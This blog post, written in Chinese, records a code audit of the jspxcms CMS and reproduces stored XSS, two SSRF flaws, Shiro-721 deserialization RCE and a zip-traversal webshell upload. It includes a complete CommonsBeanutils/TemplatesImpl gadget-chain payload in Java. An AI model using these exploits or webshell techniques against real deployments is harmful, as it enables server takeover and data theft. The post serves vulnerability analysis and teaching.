一次历史漏洞分析与复现的全部过程

2022-02-26  本文已影响0人  H_00c8
image.png

环境需求

部署过程

一、jspxcms安装包部署到Tomcat

解压好jspxcms安装包后,将Tomcat的ROOT目录替换为jspxcms的ROOT目录。

image

修改application.properties数据库信息,最后启动Tomcat就部署完成了。

image

二、jspxcms源码部署到IDEA

使用IDEA打开解压好的源码目录,由于使用了SpringBoot,直接启用主程序Application即可。

漏洞复现

一、XSS

在首页随便打开一条新闻,评论需要登录,先注册一个用户,然后提交评论,使用burpsuite抓包。

image

查看请求包可以看到请求路径是/comment_submit,通过路径定位到源码。

【→所有资源关注我,私信回复“资料”获取←】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记

image

在IDEA使用Ctrl+Shift+F搜索comment_submit,很容易就可以找到,在此处下断点进行调试。

image

重新发布一条评论,回到 IDEA,可以看到变量 text 接收了评论的内容,然后又调用了 submit。

image

跟进这个 submit,在调用 service 层进行业务处理的位置下断点。可以看到使用了 comment 对象的属性去保存 text 然后传递给 service.save ,text 的内容没有被改变。跟进 service.save 在调用 dao 层的位置下断点。

image

可以看到看到 text 的内容还是没有改变,跟到这里就行了,因为 dao 层一般只做跟数据库相关的操作,不会有任何安全处理。就这样评论的内容被写入到数据库了。

image image

但是在文章页面并没有触发XSS,所以需要寻找是否有其他页面可以触发。在 burpsute 可以看到评论的内容在请求 /comment_list 时得到,并且该内容进行了HTML实体编码。使用 IDEA 的搜索功能查找该前端页面。

image image

直接到实际处理数据的 list 方法下断点进行调试。跟进 site.getTemplate 可以看到前端页面路径是 /1/default/sys_comment_list.html。

image image

查看该页面是如何做转义处理的,在 pom.xml 查看项目依赖,可以看到项目使用的前端框架是 freemarker。结合 sys_comment_list.html 的内容与说明文档可知前端页面使用了 escape 标签进行 HTML 实体编码。

image image image

那么找找跟评论相关并且没有 escape 标签的前端页面,找到了 sys_member_space_comment.html 符合条件。使用IDEA搜索,查看如何才能访问到 sys_member_space_comment.html,可以看到在 sys_member_space.html 下参数 type 等于 comment 那么 sys_member_space_comment.html 就会被包含 。

image

查看如何访问 sys_member_space.html,可以看到文件名被定义为常量,space 方法使用了该常量,也就是说访问路径的格式为 /space/{id} 时就能触发 XSS 了。

image image

XSS漏洞触发效果如下所示。

image

二、SSRF

审计 SSRF 时需要注意的敏感函数:

URL.openConnection ()
URL.openStream ()
HttpClient.execute ()
HttpClient.executeMethod ()
HttpURLConnection.connect ()
HttpURLConnection.getInputStream ()
HttpServletRequest ()
BasicHttpEntityEnclosingRequest ()
DefaultBHttpClientConnection ()
BasicHttpRequest () 

第一处 SSRF:
直接使用 IDEA 搜索敏感函数,找到一处使用了 HttpClient.execute() 的方法 fetchHtml(),它被当前类的另一个 fetchHtml() 调用。

image image

在 fetchUrl() 调用了 fetchHtml(),并且这个方法可以直接被 HTTP 访问。

image

使用 python 开启一个简易的 http 服务进行测试,测试效果如下所示,成功触发 SSRF。

image image

第二处 SSRF:
搜索 openConnection ,可以看到在方法 ueditorCatchImage() 下,参数 source[] 直接可控,当执行到 conn.getContentType().indexOf("image") 时就会去请求相应的资源。

image

搜索调用 ueditorCatchImage() 方法的位置,可以看到访问路径为 /ueditor,action 参数需要等于 catchimage。

image

构造 payload 触发漏洞,如下所示成功触发 SSRF。

image image

三、RCE

第一处 反序列化RCE
在审计 RCE 时需要先查看项目使用了哪些依赖包,可以看到项目中的依赖包符合 ysoserial 中的 CommonsBeanutils1 的条件,但是依赖包版本有一些差异。

image image

我们直接在项目中创建一个 test 类进行测试,查看反序列化是否能成功执行,我在测试时发现反序列 ysoserial 的 CommonsBeanutils1 并不能成功,然后我使用之前跟p牛学的payload可以成功弹出计算器,如下图所示。

image

Payload:

package com.jspxcms.core.test ;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl ;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl ;
import org.apache.commons.beanutils.BeanComparator ;

import java.io.* ;
import java.lang.reflect.Field ;
import java.util.Base64 ;
import java.util.PriorityQueue ;

public class test  {
    public static void main ( String []  args )  throws Exception {

        byte [] code = Base64 . getDecoder (). decode ( "yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAHTEhlbGxvOwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAlAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYHACYBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwAGQAaBwAnDAAoACkBAAhjYWxjLmV4ZQwAKgArAQAFSGVsbG8BAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAPwAAAAMAAAABsQAAAAIACgAAAAYAAQAAAAwACwAAACAAAwAAAAEADAANAAAAAAABAA4ADwABAAAAAQAQABEAAgASAAAABAABABMAAQAHABQAAgAJAAAASQAAAAQAAAABsQAAAAIACgAAAAYAAQAAABEACwAAACoABAAAAAEADAANAAAAAAABAA4ADwABAAAAAQAVABYAAgAAAAEAFwAYAAMAEgAAAAQAAQATAAEAGQAaAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAAEwAEABQADQAVAAsAAAAMAAEAAAAOAAwADQAAABIAAAAEAAEAGwABABwAAAACAB0=" );

        TemplatesImpl obj = new TemplatesImpl ();
        setFieldValue ( obj , "_bytecodes" , new byte [][]{ code });
        setFieldValue ( obj , "_name" , "xxx" );
        setFieldValue ( obj , "_tfactory" , new TransformerFactoryImpl ());

        BeanComparator comparator = new BeanComparator ( null , String . CASE_INSENSITIVE_ORDER );
        PriorityQueue queue = new PriorityQueue ( 2 , comparator );
        queue . add ( "x" );
        queue . add ( "x" );

        setFieldValue ( comparator , "property" , "outputProperties" );
        setFieldValue ( queue , "queue" , new Object []{ obj , obj });

        ObjectOutputStream out = new ObjectOutputStream ( new FileOutputStream ( "src\main\java\com\jspxcms\core\test\ser.txt" ));
        out . writeObject ( queue );
        out . close ();

        ObjectInputStream in = new ObjectInputStream ( new FileInputStream ( "src\main\java\com\jspxcms\core\test\ser.txt" ));
        in . readObject ();
        in . close ();
    }

    private static void setFieldValue ( Object obj ,  String field ,  Object arg )  throws Exception {
        Field f = obj . getClass (). getDeclaredField ( field );
        f . setAccessible ( true );
        f . set ( obj , arg );
    }
} 

经过测试反序列漏洞是可以利用的,现在需要一处接收反序列化数据触发漏洞的点。继续查看依赖包发现使用了 Apache Shiro 并且版本小于 1.4.2,可以利用 Shiro-721。这里我使用 https://github.com/inspiringz/Shiro-721 进行测试。

image

爆破出可以攻击的 rememberMe Cookie 大概需要一个多小时,如下界面所示。

image

进行测试成功弹出计算器,反序列化 RCE 利用成功。

image

第二处 文件上传RCE
这个漏洞在文件管理的压缩包上传功能,上传的压缩包会被自动解压,如果我们在压缩包中放入 war 包并配合解压后目录穿越 war 包就会被移动到 tomcat 的 webapps 目录,而 tomcat 会自动解压 war 包。

image

这里我使用冰蝎的 jsp webshell ,将 webshell 打包成 war 包。

image

然后将 war 包打包成压缩文件。

image

注意:这里测试需要启动 tomcat 做测试,而不是 IDEA 的 SpringBoot,否则可能无法成功。
上传完之后连接 webshell 成功 RCE。

image

分析漏洞产生的原因,抓取文件上传的请求包,通过请求路径使用 IDEA 定位到代码。

image image

到 super.zipUpload 处下断点进行调试,继续跟入 AntZipUtils.unzip()。

image

可以看到文件名没有做安全处理,执行到 fos.write 时 shell.war 就被写入到 tomcat 的 webapps 目录了,这里的目录名不太对劲,因为是在 IDEA 启动 SpringBoot 进行调试的,无须在意,分析到这里就结束了。

image

为什么不直接上传 jsp 文件 getshell 呢?我们试一下,发现响应 404 文件不存在,并且文件路径前加了 /jsp。

image

通过调试发现 JspDispatcherFilter.java 会对访问的 jsp 文件路径前加 /jsp,这就是不直接上传 jsp 文件 getshell的原因。而我们使用压缩包的方式会将 shell.war 解压到 tomcat 的 webapps 目录,这相当于一个新的网站项目JspDispatcherFilter.java 是管不着的。

image
上一篇下一篇

猜你喜欢

热点阅读